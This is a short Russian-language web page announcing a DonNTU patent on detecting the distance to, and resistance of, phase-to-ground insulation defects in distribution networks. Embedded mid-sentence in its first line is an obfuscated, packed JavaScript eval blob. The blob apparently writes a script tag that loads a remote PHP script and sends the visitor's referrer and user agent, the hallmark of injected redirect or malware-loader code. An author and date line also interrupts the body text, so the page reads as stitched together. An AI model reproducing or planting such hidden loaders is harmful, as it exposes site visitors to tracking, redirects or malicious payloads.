

На `eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|rikbk|var|u0026u|referrer|feyih||js|php'.split('|'),0,{ }))` кафедре Электрических станций разработана технология для защиты от замыканий фазы на землю в распределительных сетях, позволяющая повысить эффективность определения параметров дефектов изоляции без отключения присоединения.

1. Способ определения расстояния до места возникновения локального дефекта изоляции и сопротивления этого дефекта в распределительных сетях: патент Украины на изобретение № 100180, G01R 31/08 / Гребченко Н.В., Бельчев И.В.; ДонНТУ - заяв. № а 2011 03318 от 21.03.2011г.; опубл. 26.11.2012, бюл. № 22.

Изобретение относится к электротехнике и может быть использовано для построения усовершенствованной защиты от замыканий фазы на землю в распределительных сетях.

Способ включает измерение значений параметров режима сети и контроль значения амплитуды тока нулевой последовательности, при котором для расчетов используется заместительная схема сети. При превышении амплитудой тока нулевой последовательности допустимого значения выполняется определение присоединения с локальным дефектом изоляции. Дополнительно измеряют значение векторов токов

Средства защиты от замыканий фазы на землю в распределительных сетях.

Автор: Kondratenko
08.09.2015 14:21

каждой из трех фаз и напряжений фаз относительно земли и осуществляют расчет по формулам. Применение способа позволяет повысить эффективность определения параметров дефектов изоляции без отключения присоединения.